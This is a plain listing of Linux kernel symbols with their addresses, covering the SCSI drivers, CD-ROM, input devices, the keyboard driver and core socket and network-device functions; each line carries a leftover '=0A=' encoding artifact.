102725c0 t show_iostat_iodone_cnt=0A=
102725fc t show_iostat_ioerr_cnt=0A=
10272638 t sdev_store_queue_depth_rw=0A=
102726b8 t sdev_store_queue_type_rw=0A=
102727f4 t attr_overridden=0A=
10272868 T __scsi_remove_device=0A=
10272918 T scsi_remove_device=0A=
10272958 t sdev_store_delete=0A=
1027297c T scsi_sysfs_add_sdev=0A=
10272be8 T __scsi_remove_target=0A=
10272cc4 t __remove_child=0A=
10272d00 T scsi_remove_target=0A=
10272d68 T scsi_register_driver=0A=
10272d8c T scsi_register_interface=0A=
10272db0 t class_attr_overridden=0A=
10272e24 T scsi_sysfs_add_host=0A=
10272fbc T scsi_sysfs_device_initialize=0A=
102730e0 T scsi_is_sdev_device=0A=
10273114 t scsi_strcpy_devinfo=0A=
102731e8 t scsi_dev_info_list_add=0A=
1027330c t scsi_dev_info_list_add_str=0A=
10273454 T scsi_get_device_flags=0A=
102735ec t proc_scsi_devinfo_read=0A=
102736ec t proc_scsi_devinfo_write=0A=
102737a0 T scsi_exit_devinfo=0A=
102737f8 T scsi_exit_sysctl=0A=
10273818 t proc_scsi_read=0A=
10273874 t proc_scsi_write_proc=0A=
10273938 T scsi_proc_hostdir_add=0A=
102739e0 T scsi_proc_hostdir_rm=0A=
10273a78 T scsi_proc_host_add=0A=
10273b2c T scsi_proc_host_rm=0A=
10273b7c t proc_print_scsidevice=0A=
10273db8 t proc_scsi_write=0A=
10274078 t proc_scsi_show=0A=
102740bc t proc_scsi_open=0A=
102740e4 T scsi_exit_procfs=0A=
10274118 t sprint_frac=0A=
102741f8 t spi_execute=0A=
10274350 t spi_host_setup=0A=
10274394 t spi_host_match=0A=
1027441c t spi_device_configure=0A=
102744d0 t spi_setup_transport_attrs=0A=
10274530 t show_spi_transport_offset=0A=
102745c0 t store_spi_transport_offset=0A=
10274664 t show_spi_transport_max_offset=0A=
10274694 t store_spi_transport_max_offset=0A=
102746d4 t show_spi_transport_width=0A=
10274768 t store_spi_transport_width=0A=
10274810 t show_spi_transport_max_width=0A=
10274844 t store_spi_transport_max_width=0A=
1027488c t show_spi_transport_iu=0A=
10274920 t store_spi_transport_iu=0A=
102749b0 t show_spi_transport_dt=0A=
10274a44 t store_spi_transport_dt=0A=
10274ad4 t show_spi_transport_qas=0A=
10274b68 t store_spi_transport_qas=0A=
10274bf8 t show_spi_transport_wr_flow=0A=
10274c8c t store_spi_transport_wr_flow=0A=
10274d1c t show_spi_transport_rd_strm=0A=
10274db0 t store_spi_transport_rd_strm=0A=
10274e40 t show_spi_transport_rti=0A=
10274ed4 t store_spi_transport_rti=0A=
10274f64 t show_spi_transport_pcomp_en=0A=
10274ff8 t store_spi_transport_pcomp_en=0A=
10275088 t show_spi_transport_hold_mcs=0A=
1027511c t store_spi_transport_hold_mcs=0A=
102751ac t store_spi_revalidate=0A=
102751dc t period_to_str=0A=
10275240 t show_spi_transport_period_helper=0A=
1027527c t store_spi_transport_period_helper=0A=
102753a4 t show_spi_transport_period=0A=
10275434 t store_spi_transport_period=0A=
102754fc t show_spi_transport_min_period=0A=
1027551c t store_spi_transport_min_period=0A=
1027553c t show_spi_host_signalling=0A=
10275608 t store_spi_host_signalling=0A=
10275708 t spi_dv_device_echo_buffer=0A=
10275a10 t spi_dv_device_compare_inquiry=0A=
10275b3c t spi_dv_retrain=0A=
10275da0 T spi_dv_device=0A=
10276300 t child_iter=0A=
10276320 t spi_dv_device_work_wrapper=0A=
1027635c T spi_schedule_dv_device=0A=
10276420 T spi_display_xfer_agreement=0A=
102766fc t print_nego=0A=
102767a4 T spi_print_msg=0A=
10276a30 t spi_device_match=0A=
10276ab4 t spi_target_match=0A=
10276b80 T spi_attach_transport=0A=
102772e4 T spi_release_transport=0A=
10277314 t sym_fw1_patch=0A=
10277374 t sym_fw2_patch=0A=
10277474 t sym_fw_fill_data=0A=
102774b0 t sym_fw_setup_bus_addresses=0A=
10277534 t sym_fw1_setup=0A=
10277574 t sym_fw2_setup=0A=
102775b4 T sym_find_firmware=0A=
102775e4 T sym_fw_bind_script=0A=
102778d4 t __unmap_scsi_data=0A=
1027796c T sym_xpt_done=0A=
1027799c T sym_xpt_async_bus_reset=0A=
10277a2c T sym_xpt_async_sent_bdr=0A=
10277a54 t sym_xerr_cam_status=0A=
10277a6c T sym_set_cam_result_error=0A=
10277c44 T sym_setup_data_and_start=0A=
10277f84 t sym_timer=0A=
10278054 T sym_log_bus_error=0A=
102780e8 t sym53c8xx_queue_command=0A=
1027820c t sym53c8xx_intr=0A=
1027829c t sym53c8xx_timer=0A=
102782c0 t __sym_eh_done=0A=
1027833c t sym_eh_done=0A=
10278358 t sym_eh_timeout=0A=
10278374 t sym_eh_handler=0A=
102785f0 t sym53c8xx_eh_abort_handler=0A=
10278618 t sym53c8xx_eh_device_reset_handler=0A=
10278640 t sym53c8xx_eh_bus_reset_handler=0A=
10278668 t sym53c8xx_eh_host_reset_handler=0A=
10278690 t sym_tune_dev_queuing=0A=
1027872c t sym53c8xx_slave_alloc=0A=
10278850 t sym53c8xx_slave_configure=0A=
10278ac4 t sym53c8xx_slave_destroy=0A=
10278b64 t sym53c8xx_info=0A=
10278b70 t skip_spaces=0A=
10278bd0 t get_int_arg=0A=
10278c14 t is_keyword=0A=
10278c98 t copy_info=0A=
10278d48 t sym53c8xx_proc_info=0A=
102795b8 t sym_free_resources=0A=
10279638 t sym_detach=0A=
10279704 t sym2_probe=0A=
10279f18 t sym2_remove=0A=
10279f84 t sym2_get_signalling=0A=
10279fc4 t sym2_set_offset=0A=
1027a03c t sym2_set_period=0A=
1027a0d0 t sym2_set_width=0A=
1027a17c t sym2_set_dt=0A=
1027a224 t sym_print_msg=0A=
1027a284 t sym_print_nego_msg=0A=
1027a2ec T sym_print_xerr=0A=
1027a3f8 t sym_scsi_bus_mode=0A=
1027a438 t sym_chip_reset=0A=
1027a508 t sym_soft_reset=0A=
1027a63c T sym_reset_scsi_bus=0A=
1027a82c t sym_start_reset=0A=
1027a848 t getfreq=0A=
1027aa8c t sym_getfreq=0A=
1027aad8 t sym_getsync=0A=
1027ac7c T sym_lookup_chip_table=0A=
1027acc8 t sym_prepare_nego=0A=
1027afb4 T sym_put_start_queue=0A=
1027b070 t sym_ccb_from_dsa=0A=
1027b094 T sym_free_ccb=0A=
1027b298 t sym_flush_comp_queue=0A=
1027b370 T sym_start_up=0A=
1027bbd0 t sym_settrans=0A=
1027bea8 t sym_setwide=0A=
1027bf64 t sym_setsync=0A=
1027c018 t sym_setpprot=0A=
1027c130 t sym_recover_scsi_int=0A=
1027c25c t sym_int_ma=0A=
1027c9e0 t sym_dequeue_from_squeue=0A=
1027cb94 T sym_clear_tasks=0A=
1027ccbc t sym_evaluate_dp=0A=
1027ce3c t sym_compute_residual=0A=
1027cf3c t sym_modify_dp=0A=
1027d144 t sym_nego_default=0A=
1027d234 t sym_alloc_ccb=0A=
1027d31c T sym_get_ccb=0A=
1027d6bc T sym_alloc_lcb=0A=
1027d884 T sym_queue_scsiio=0A=
1027db08 T sym_reset_scsi_target=0A=
1027db64 T sym_abort_scsiio=0A=
1027dc08 t sym_complete_error=0A=
1027dd84 t sym_int_sir=0A=
1027f1ec T sym_interrupt=0A=
1027fbd0 T sym_hcb_attach=0A=
10280cb8 T sym_hcb_free=0A=
10280e18 t __sym_calloc2=0A=
10280fa8 t __sym_mfree=0A=
102810cc t ___mp0_get_mem_cluster=0A=
10281100 t ___mp0_free_mem_cluster=0A=
10281130 t ___get_dma_mem_cluster=0A=
102811dc t ___free_dma_mem_cluster=0A=
10281294 t ___del_dma_pool=0A=
1028130c T __sym_calloc_dma=0A=
10281434 T __sym_mfree_dma=0A=
102814a0 T __vtobus=0A=
1028151c T sym_nvram_setup_host=0A=
10281610 T sym_nvram_setup_target=0A=
1028174c t S24C16_set_bit=0A=
10281860 t S24C16_start=0A=
102818d0 t S24C16_stop=0A=
10281918 t S24C16_do_bit=0A=
102819a8 t S24C16_write_byte=0A=
10281a5c t sym_read_S24C16_nvram=0A=
10281d2c t T93C46_Clk=0A=
10281dac T sym_read_nvram=0A=
102821c8 T sym_nvram_type=0A=
1028220c T NCR_700_release=0A=
10282250 t free_slot=0A=
10282320 t save_for_reselection=0A=
1028233c t NCR_700_internal_bus_reset=0A=
102823e8 t NCR_700_chip_setup=0A=
10282a44 t NCR_700_chip_reset=0A=
10282bb4 T NCR_700_detect=0A=
10283304 t process_script_interrupt=0A=
1028498c t NCR_700_start_command=0A=
102850a0 T NCR_700_intr=0A=
102860b8 t NCR_700_queuecommand=0A=
10286580 t NCR_700_abort=0A=
10286604 t NCR_700_bus_reset=0A=
10286720 t NCR_700_host_reset=0A=
10286794 t NCR_700_set_period=0A=
10286814 t NCR_700_set_offset=0A=
102868b0 t NCR_700_slave_configure=0A=
102869c0 t NCR_700_slave_destroy=0A=
102869c4 t NCR_700_change_queue_depth=0A=
10286a1c t NCR_700_change_queue_type=0A=
10286bf4 t NCR_700_show_active_tags=0A=
10286c20 t scsi_tape_put=0A=
10286c80 t st_chk_result=0A=
10286f64 t st_sleep_done=0A=
10286fc4 t st_release_request=0A=
10286fdc t st_do_scsi=0A=
10287204 t write_behind_check=0A=
10287360 t cross_eof=0A=
10287494 t flush_write_buffer=0A=
10287688 t do_door_lock=0A=
102876f4 t release_buffering=0A=
10287780 t read_mode_page=0A=
10287830 t write_mode_page=0A=
10287934 t st_compression=0A=
102879f8 t get_location=0A=
10287c24 t find_partition=0A=
10287c58 t set_location=0A=
10287ee4 t switch_partition=0A=
10287f4c t rw_checks=0A=
102880bc t normalize_buffer=0A=
10288158 t st_release=0A=
102881c0 t st_int_ioctl=0A=
10288c20 t flush_buffer=0A=
10288d88 t st_flush=0A=
1028909c t set_mode_densblk=0A=
10289180 t check_tape=0A=
10289764 t do_load_unload=0A=
10289938 t st_ioctl=0A=
1028a7ec t enlarge_buffer=0A=
1028aa5c t st_open=0A=
1028ac54 t validate_options=0A=
1028ac84 t st_remove=0A=
1028ae30 t scsi_tape_release=0A=
1028ae88 t st_try_direct_io_show=0A=
1028aeb8 t st_fixed_buffer_size_show=0A=
1028aee8 t st_max_sg_segs_show=0A=
1028af18 t st_version_show=0A=
1028af48 t st_defined_show=0A=
1028af78 t st_defblk_show=0A=
1028afa8 t st_defdensity_show=0A=
1028aff4 t st_defcompression_show=0A=
1028b028 t st_probe=0A=
1028b980 t setup_buffering=0A=
1028bc60 t st_write=0A=
1028c5f0 t st_read=0A=
1028ce3c t sd_major=0A=
1028cf24 t __scsi_disk_get=0A=
1028cf74 t scsi_disk_get_from_dev=0A=
1028cfc8 t scsi_disk_put=0A=
1028d028 t sd_init_command=0A=
1028d264 t sd_open=0A=
1028d3b8 t sd_release=0A=
1028d424 t sd_getgeo=0A=
1028d4e8 t sd_ioctl=0A=
1028d5d8 t set_media_not_present=0A=
1028d5f4 t sd_media_changed=0A=
1028d688 t sd_sync_cache=0A=
1028d790 t sd_issue_flush=0A=
1028d800 t sd_prepare_flush=0A=
1028d850 t sd_rw_intr=0A=
1028daac t media_not_present=0A=
1028db2c t sd_revalidate_disk=0A=
1028e70c t sd_rescan=0A=
1028e740 t sd_probe=0A=
1028ea60 t sd_shutdown=0A=
1028ead8 t sd_remove=0A=
1028eb44 t scsi_disk_release=0A=
1028eb98 t scsi_cd_put=0A=
1028ebf8 t rw_intr=0A=
1028edc0 t sr_init_command=0A=
1028f0ac t sr_block_open=0A=
1028f178 t sr_block_release=0A=
1028f1bc t sr_block_ioctl=0A=
1028f22c t sr_block_media_changed=0A=
1028f24c t sr_open=0A=
1028f274 t sr_release=0A=
1028f2b0 t sr_media_change=0A=
1028f55c t sr_probe=0A=
1028fc08 t sr_packet=0A=
1028fc58 t sr_kref_release=0A=
1028fcd0 t sr_remove=0A=
1028fd28 T sr_do_ioctl=0A=
1028ff64 t sr_read_tochdr=0A=
10290054 t sr_read_tocentry=0A=
102901cc T sr_tray_move=0A=
10290240 T sr_lock_door=0A=
10290268 T sr_drive_status=0A=
102902e4 T sr_disk_status=0A=
102903d4 T sr_get_last_session=0A=
10290404 T sr_get_mcn=0A=
102904fc T sr_reset=0A=
10290504 T sr_select_speed=0A=
102905f0 T sr_audio_ioctl=0A=
10290804 T sr_is_xa=0A=
102909f0 T sr_dev_ioctl=0A=
10290a58 T sr_vendor_init=0A=
10290a64 T sr_set_blocklength=0A=
10290b58 T sr_cd_check=0A=
10290d68 t sg_get_dev=0A=
10290db0 t sg_get_rq_mark=0A=
10290e04 t sg_add_request=0A=
10290f00 t sg_remove_request=0A=
10290f80 t sg_res_in_use=0A=
10290fac t sg_allow_access=0A=
10290ff0 t sg_srp_done=0A=
10291004 t sg_poll=0A=
10291128 t sg_fasync=0A=
10291174 t sg_rb_correct4mmap=0A=
10291244 t sg_vma_nopage=0A=
1029131c t sg_mmap=0A=
10291410 t sg_add=0A=
1029182c t sg_build_sgat=0A=
10291890 t sg_build_indirect=0A=
10291bf4 t sg_u_iovec=0A=
10291c84 t sg_get_nth_sfp=0A=
10291cd0 t sg_remove_scat=0A=
10291dd8 t sg_finish_rem_req=0A=
10291e80 t sg_new_read=0A=
102921a4 t sg_read=0A=
10292700 t __sg_remove_sfp=0A=
10292790 t sg_remove=0A=
102929d0 t sg_remove_sfp=0A=
10292b10 t sg_release=0A=
10292ba8 t sg_cmd_done=0A=
10292e00 t sg_build_reserve=0A=
10292e78 t sg_open=0A=
1029322c t sg_common_write=0A=
10293894 t sg_new_write=0A=
10293a7c t sg_ioctl=0A=
102946c4 t sg_write=0A=
102949c0 t sg_proc_seq_show_int=0A=
102949ec t sg_proc_single_open_adio=0A=
10294a18 t sg_proc_write_adio=0A=
10294ad0 t sg_proc_single_open_dressz=0A=
10294afc t sg_proc_write_dressz=0A=
10294bb8 t sg_proc_seq_show_version=0A=
10294bf8 t sg_proc_single_open_version=0A=
10294c20 t sg_proc_seq_show_devhdr=0A=
10294c44 t sg_proc_single_open_devhdr=0A=
10294c6c t dev_seq_start=0A=
10294d48 t dev_seq_next=0A=
10294d9c t dev_seq_stop=0A=
10294db8 t sg_proc_open_dev=0A=
10294ddc t sg_proc_seq_show_dev=0A=
10294e98 t sg_proc_open_devstrs=0A=
10294ebc t sg_proc_seq_show_devstrs=0A=
10294f38 t sg_proc_open_debug=0A=
10294f5c t sg_proc_seq_show_debug=0A=
10295344 t cdrom_dummy_generic_packet=0A=
10295378 T unregister_cdrom=0A=
10295458 T init_cdrom_command=0A=
102954c8 T cdrom_get_media_event=0A=
102955a4 T cdrom_mode_sense=0A=
1029563c t cdrom_get_disc_info=0A=
102956f0 t cdrom_mrw_exit=0A=
10295810 T cdrom_mode_select=0A=
1029589c t cdrom_get_random_writable=0A=
10295940 t cdrom_count_tracks=0A=
10295b40 T cdrom_open=0A=
102965dc t check_for_audio_disc=0A=
102967dc T cdrom_release=0A=
10296ac0 t cdrom_read_mech_status=0A=
10296bb4 T cdrom_number_of_slots=0A=
10296c38 t cdrom_load_unload=0A=
10296d78 t media_changed=0A=
10296e40 T cdrom_media_changed=0A=
10296e8c t sanitize_format=0A=
10296f38 t setup_report_key=0A=
10296fa8 t setup_send_key=0A=
1029700c t cdrom_read_block=0A=
1029717c t cdrom_read_cdda_old=0A=
102972d0 t cdrom_switch_blocksize=0A=
102973a4 t cdrom_get_track_info=0A=
10297484 T cdrom_get_last_written=0A=
10297600 t mmc_ioctl=0A=
10299128 T cdrom_ioctl=0A=
1029a1bc t cdrom_sysctl_info=0A=
1029a8b0 t cdrom_sysctl_handler=0A=
1029ab2c t cdrom_sysctl_register=0A=
1029abdc T register_cdrom=0A=
1029afcc T uhci_reset_hc=0A=
1029b09c T uhci_check_and_reset_hc=0A=
1029b14c t mmio_resource_enabled=0A=
1029b1c8 t quirk_usb_early_handoff=0A=
1029b574 T input_event=0A=
1029bab0 t input_repeat_key=0A=
1029bb4c T input_accept_process=0A=
1029bb80 T input_grab_device=0A=
1029bb9c T input_release_device=0A=
1029bbb4 T input_open_device=0A=
1029bc90 T input_flush_device=0A=
1029bcc4 T input_close_device=0A=
1029bd88 t input_link_handle=0A=
1029bdcc t input_match_device=0A=
1029bf70 t input_print_bitmap=0A=
1029c03c t input_devices_poll=0A=
1029c0a4 t input_devices_read=0A=
1029c674 t input_handlers_read=0A=
1029c810 t input_proc_exit=0A=
1029c860 t input_dev_show_name=0A=
1029c91c t input_dev_show_phys=0A=
1029c9d8 t input_dev_show_uniq=0A=
1029ca94 t print_modalias_bits=0A=
1029cb60 t print_modalias=0A=
1029cd10 t input_dev_show_modalias=0A=
1029cd60 t input_dev_show_id_bustype=0A=
1029cd88 t input_dev_show_id_vendor=0A=
1029cdb0 t input_dev_show_id_product=0A=
1029cdd8 t input_dev_show_id_version=0A=
1029ce00 t input_dev_show_cap_ev=0A=
1029ce28 t input_dev_show_cap_key=0A=
1029ce50 t input_dev_show_cap_rel=0A=
1029ce78 t input_dev_show_cap_abs=0A=
1029cea0 t input_dev_show_cap_msc=0A=
1029cec8 t input_dev_show_cap_led=0A=
1029cef0 t input_dev_show_cap_snd=0A=
1029cf18 t input_dev_show_cap_ff=0A=
1029cf40 t input_dev_show_cap_sw=0A=
1029cf68 t input_dev_release=0A=
1029cf84 t input_add_uevent_bm_var=0A=
1029d05c t input_dev_uevent=0A=
1029d4e4 T input_allocate_device=0A=
1029d540 T input_register_device=0A=
1029d83c T input_unregister_device=0A=
1029d95c T input_register_handler=0A=
1029da98 T input_unregister_handler=0A=
1029db80 t input_open_file=0A=
1029dd34 t mousedev_notify_readers=0A=
1029df78 t mousedev_event=0A=
1029e73c t mousedev_fasync=0A=
1029e760 t mousedev_free=0A=
1029e78c t mousedev_release=0A=
1029e8d4 t mousedev_open=0A=
1029eab8 t mousedev_packet=0A=
1029ecb4 t mousedev_write=0A=
1029efcc t mousedev_read=0A=
1029f1a0 t mousedev_poll=0A=
1029f244 t mousedev_connect=0A=
1029f3bc t mousedev_disconnect=0A=
1029f4d0 t evdev_event=0A=
1029f670 t evdev_fasync=0A=
1029f698 t evdev_flush=0A=
1029f6d4 t evdev_free=0A=
1029f700 t evdev_release=0A=
1029f7e0 t evdev_open=0A=
1029f900 t evdev_write=0A=
1029f9c4 t evdev_read=0A=
1029fbcc t evdev_poll=0A=
1029fc70 t bits_to_user=0A=
1029fcb8 t str_to_user=0A=
1029fd1c t evdev_ioctl=0A=
102a04c8 t evdev_connect=0A=
102a0620 t evdev_disconnect=0A=
102a0704 t atkbd_attr_show_helper=0A=
102a07d0 t atkbd_do_show_extra=0A=
102a07f4 t atkbd_do_show_scroll=0A=
102a0818 t atkbd_do_show_set=0A=
102a083c t atkbd_do_show_softrepeat=0A=
102a0860 t atkbd_do_show_softraw=0A=
102a0884 t atkbd_report_key=0A=
102a0930 t atkbd_interrupt=0A=
102a0fe0 t atkbd_event_work=0A=
102a12b8 t atkbd_event=0A=
102a1340 t atkbd_attr_set_helper=0A=
102a1448 t atkbd_do_set_extra=0A=
102a1470 t atkbd_do_set_scroll=0A=
102a1498 t atkbd_do_set_set=0A=
102a14c0 t atkbd_do_set_softrepeat=0A=
102a14e8 t atkbd_do_set_softraw=0A=
102a1510 t atkbd_probe=0A=
102a1664 t atkbd_select_set=0A=
102a17b8 t atkbd_activate=0A=
102a1854 t atkbd_cleanup=0A=
102a1878 t atkbd_disconnect=0A=
102a1930 t atkbd_set_keycode_table=0A=
102a1ab8 t atkbd_set_device_attrs=0A=
102a1cc0 t atkbd_connect=0A=
102a1f44 t atkbd_reconnect=0A=
102a2050 t atkbd_show_extra=0A=
102a2080 t atkbd_set_extra=0A=
102a2154 t atkbd_show_scroll=0A=
102a2184 t atkbd_set_scroll=0A=
102a223c t atkbd_show_set=0A=
102a2264 t atkbd_set_set=0A=
102a233c t atkbd_show_softrepeat=0A=
102a236c t atkbd_set_softrepeat=0A=
102a243c t atkbd_show_softraw=0A=
102a246c t atkbd_set_softraw=0A=
102a251c T hwmon_device_register=0A=
102a25f0 T hwmon_device_unregister=0A=
102a2654 T move_addr_to_kernel=0A=
102a26a8 T move_addr_to_user=0A=
102a2778 t sock_alloc_inode=0A=
102a27d4 t sock_destroy_inode=0A=
102a27f8 t init_once=0A=
102a282c t sockfs_get_sb=0A=
102a285c t sockfs_delete_dentry=0A=
102a2864 T sock_map_fd=0A=
102a2a04 T sockfd_lookup=0A=
102a2ad0 t sock_alloc=0A=
102a2b40 t sock_no_open=0A=
102a2b48 T sock_release=0A=
102a2bfc T sock_sendmsg=0A=
102a2ce8 T kernel_sendmsg=0A=
102a2d28 T sock_recvmsg=0A=
102a2e24 T kernel_recvmsg=0A=
102a2e6c t sock_aio_dtor=0A=
102a2e88 t sock_sendpage=0A=
102a2ee4 t alloc_sock_iocb=0A=
102a2f58 t do_sock_read=0A=
102a3018 t sock_readv=0A=
102a30d0 t sock_aio_read=0A=
102a3158 t do_sock_write=0A=
102a3258 t sock_writev=0A=
102a3324 t sock_aio_write=0A=
102a33ac T brioctl_set=0A=
102a345c T vlan_ioctl_set=0A=
102a350c T dlci_ioctl_set=0A=
102a35bc t sock_ioctl=0A=
102a3940 T sock_create_lite=0A=
102a398c t sock_poll=0A=
102a39b8 t sock_mmap=0A=
102a39e4 t sock_fasync=0A=
102a3b34 t sock_close=0A=
102a3b80 T sock_wake_async=0A=
102a3c28 t __sock_create=0A=
102a3e60 T sock_create=0A=
102a3e7c T sock_create_kern=0A=
102a3e9c T sys_socket=0A=
102a3ef4 T sys_socketpair=0A=
102a4020 T sys_bind=0A=
102a40a8 T sys_listen=0A=
102a4118 T sys_accept=0A=
102a4284 T sys_connect=0A=
102a4314 T sys_getsockname=0A=
102a43a8 T sys_getpeername=0A=
102a443c T sys_sendto=0A=
102a453c T sys_send=0A=
102a455c T sys_recvfrom=0A=
102a4660 T sys_recv=0A=
102a4680 T sys_setsockopt=0A=
102a4740 T sys_getsockopt=0A=
102a47f8 T sys_shutdown=0A=
102a4858 T sys_sendmsg=0A=
102a4a70 T sys_recvmsg=0A=
102a4c7c T sys_socketcall=0A=
102a4e9c T sock_register=0A=
102a4f14 T sock_unregister=0A=
102a4f58 T socket_seq_show=0A=
102a4f88 t sock_set_timeout=0A=
102a503c t sock_warn_obsolete_bsdism=0A=
102a50dc T sk_free=0A=
102a5214 T sock_getsockopt=0A=
102a5670 T sk_alloc=0A=
102a5768 T sk_clone=0A=
102a58e8 T sock_wfree=0A=
102a5964 T sock_rfree=0A=
102a598c T sock_i_uid=0A=
102a59a0 T sock_i_ino=0A=
102a59b4 T sock_wmalloc=0A=
102a5a48 T sock_rmalloc=0A=
102a5ac4 T sock_kmalloc=0A=
102a5b54 T sock_kfree_s=0A=
102a5b9c T sock_alloc_send_skb=0A=
102a5e54 T lock_sock=0A=
102a5f48 T release_sock=0A=
102a5fe8 T sk_wait_data=0A=
102a6114 T sock_no_bind=0A=
102a611c T sock_no_connect=0A=
102a6124 T sock_no_socketpair=0A=
102a612c T sock_no_accept=0A=
102a6134 T sock_no_getname=0A=
102a613c T sock_no_poll=0A=
102a6144 T sock_no_ioctl=0A=
102a614c T sock_no_listen=0A=
102a6154 T sock_no_shutdown=0A=
102a615c T sock_no_setsockopt=0A=
102a6164 T sock_no_getsockopt=0A=
102a616c T sock_no_sendmsg=0A=
102a6174 T sock_no_recvmsg=0A=
102a617c T sock_no_mmap=0A=
102a6184 T sock_no_sendpage=0A=
102a61f8 t sock_def_wakeup=0A=
102a6238 t sock_def_error_report=0A=
102a62a0 t sock_def_readable=0A=
102a6308 t sock_def_write_space=0A=
102a639c t sock_def_destruct=0A=
102a63b8 T sk_send_sigurg=0A=
102a6420 T sk_reset_timer=0A=
102a6464 T sk_stop_timer=0A=
102a64ac T sock_init_data=0A=
102a667c T sock_enable_timestamp=0A=
102a66b0 T sock_get_timestamp=0A=
102a6730 T sock_setsockopt=0A=
102a6e8c T sock_common_getsockopt=0A=
102a6ec0 T sock_common_recvmsg=0A=
102a6f2c T sock_common_setsockopt=0A=
102a6f60 T sk_common_release=0A=
102a6ff8 T proto_register=0A=
102a71d0 T proto_unregister=0A=
102a72ac t proto_seq_start=0A=
102a735c t proto_seq_next=0A=
102a73b0 t proto_seq_stop=0A=
102a73b4 t proto_method_implemented=0A=
102a73c4 t proto_seq_show=0A=
102a76ec t proto_seq_open=0A=
102a7710 T reqsk_queue_alloc=0A=
102a77f0 T reqsk_queue_destroy=0A=
102a78e4 T skb_over_panic=0A=
102a7968 T skb_under_panic=0A=
102a79ec T skb_copy_bits=0A=
102a7c20 T skb_queue_tail=0A=
102a7c4c T __alloc_skb=0A=
102a7d6c T skb_clone=0A=
102a7f74 T alloc_skb_from_cache=0A=
102a806c t skb_clone_fraglist=0A=
102a80a0 T kfree_skbmem=0A=
102a8150 T __kfree_skb=0A=
102a822c t skb_drop_fraglist=0A=
102a8290 T skb_release_data=0A=
102a834c T pskb_expand_head=0A=
102a8500 T __pskb_pull_tail=0A=
102a884c T ___pskb_trim=0A=
102a8a28 t copy_skb_header=0A=
102a8b5c T skb_copy=0A=
102a8ca4 T pskb_copy=0A=
102a8e74 T skb_realloc_headroom=0A=
102a8f34 T skb_copy_expand=0A=
102a907c T skb_pad=0A=
102a9188 T skb_store_bits=0A=
102a93d4 T skb_checksum=0A=
102a9660 T skb_copy_and_csum_bits=0A=
102a9910 T skb_copy_and_csum_dev=0A=
102a9a2c T skb_dequeue=0A=
102a9a68 T skb_dequeue_tail=0A=
102a9ab0 T skb_queue_purge=0A=
102a9b20 T skb_queue_head=0A=
102a9b4c T skb_unlink=0A=
102a9b7c T skb_append=0A=
102a9ba8 T skb_insert=0A=
102a9bd4 T skb_split=0A=
102a9e6c T skb_prepare_seq_read=0A=
102a9e8c T skb_seq_read=0A=
102a9ffc T skb_abort_seq_read=0A=
102aa000 t skb_ts_get_next_block=0A=
102aa01c t skb_ts_finish=0A=
102aa020 T skb_find_text=0A=
102aa0a8 T skb_append_datato_frags=0A=
102aa2f4 T verify_iovec=0A=
102aa3cc T memcpy_toiovec=0A=
102aa484 T memcpy_fromiovec=0A=
102aa53c T memcpy_fromiovecend=0A=
102aa5f8 T csum_partial_copy_fromiovecend=0A=
102aa824 T skb_recv_datagram=0A=
102aaa68 T skb_free_datagram=0A=
102aaab0 T skb_kill_datagram=0A=
102aab6c T skb_copy_datagram_iovec=0A=
102aad18 t skb_copy_and_csum_datagram=0A=
102ab060 T __skb_checksum_complete=0A=
102ab0e4 T skb_copy_and_csum_datagram_iovec=0A=
102ab24c T datagram_poll=0A=
102ab370 T __sk_stream_mem_reclaim=0A=
102ab3e8 T sk_stream_mem_schedule=0A=
102ab5e0 T sk_stream_write_space=0A=
102ab69c T sk_stream_wait_connect=0A=
102ab8bc T sk_stream_wait_close=0A=
102aba00 T sk_stream_wait_memory=0A=
102abce8 T sk_stream_rfree=0A=
102abd20 T sk_stream_error=0A=
102abdc0 T sk_stream_kill_queues=0A=
102abf68 T __scm_destroy=0A=
102abfd8 T __scm_send=0A=
102ac29c T put_cmsg=0A=
102ac3a8 T scm_detach_fds=0A=
102ac578 T scm_fp_dup=0A=
102ac600 T gnet_stats_start_copy_compat=0A=
102ac6f0 T gnet_stats_start_copy=0A=
102ac718 T gnet_stats_copy_basic=0A=
102ac7b0 T gnet_stats_copy_rate_est=0A=
102ac834 T gnet_stats_copy_queue=0A=
102ac8d4 T gnet_stats_copy_app=0A=
102ac960 T gnet_stats_finish_copy=0A=
102aca38 t est_timer=0A=
102acb98 T gen_new_estimator=0A=
102acdb0 T gen_kill_estimator=0A=
102aceb8 T gen_replace_estimator=0A=
102acf0c T register_gifconf=0A=
102acf30 T dev_add_pack=0A=
102acfc4 T __dev_remove_pack=0A=
102ad080 T netdev_boot_setup_check=0A=
102ad150 T __dev_get_by_name=0A=
102ad218 T netdev_boot_base=0A=
102ad2b0 T dev_get_by_name=0A=
102ad2e8 T __dev_get_by_index=0A=
102ad328 T dev_get_by_index=0A=
102ad360 T dev_getbyhwaddr=0A=
102ad444 T dev_getfirstbyhwtype=0A=
102ad4c4 T dev_get_by_flags=0A=
102ad510 T dev_valid_name=0A=
102ad594 T dev_alloc_name=0A=
102ad7b8 T dev_change_name=0A=
102ad990 T netdev_features_change=0A=
102ad9b8 T netdev_state_change=0A=
102ada0c T dev_load=0A=
102ada54 t default_rebuild_header=0A=
102adacc T dev_open=0A=
102adb80 T dev_close=0A=
102adc54 T register_netdevice_notifier=0A=
102adcf8 T unregister_netdevice_notifier=0A=
102add1c T call_netdevice_notifiers=0A=
102add44 T net_enable_timestamp=0A=
102add64 T net_disable_timestamp=0A=
102add84 T __net_timestamp=0A=
102addbc T dev_queue_xmit_nit=0A=
102adf24 T skb_checksum_help=0A=
102ae040 T netdev_rx_csum_fault=0A=
102ae08c T __skb_linearize=0A=
102ae214 T dev_queue_xmit=0A=
102ae480 T netif_rx=0A=
102ae658 T netif_rx_ni=0A=
102ae69c t net_tx_action=0A=
102ae7a4 T netif_receive_skb=0A=
102aea44 t process_backlog=0A=
102aebf4 t net_rx_action=0A=
102aed88 T dev_seq_start=0A=
102aee00 T dev_seq_next=0A=
102aee30 T dev_seq_stop=0A=
102aee34 t dev_seq_show=0A=
102aef84 t softnet_get_online=0A=
102aefe8 t softnet_seq_start=0A=
102af004 t softnet_seq_next=0A=
102af038 t softnet_seq_stop=0A=
102af03c t softnet_seq_show=0A=
102af090 t dev_seq_open=0A=
102af0b4 t softnet_seq_open=0A=
102af0d8 T dev_set_promiscuity=0A=
102af170 T dev_set_allmulti=0A=
102af1d4 T dev_get_flags=0A=
102af210 T dev_change_flags=0A=
102af36c T dev_set_mtu=0A=
102af408 T dev_set_mac_address=0A=
102af47c t dev_ifsioc=0A=
102afb18 T dev_ioctl=0A=
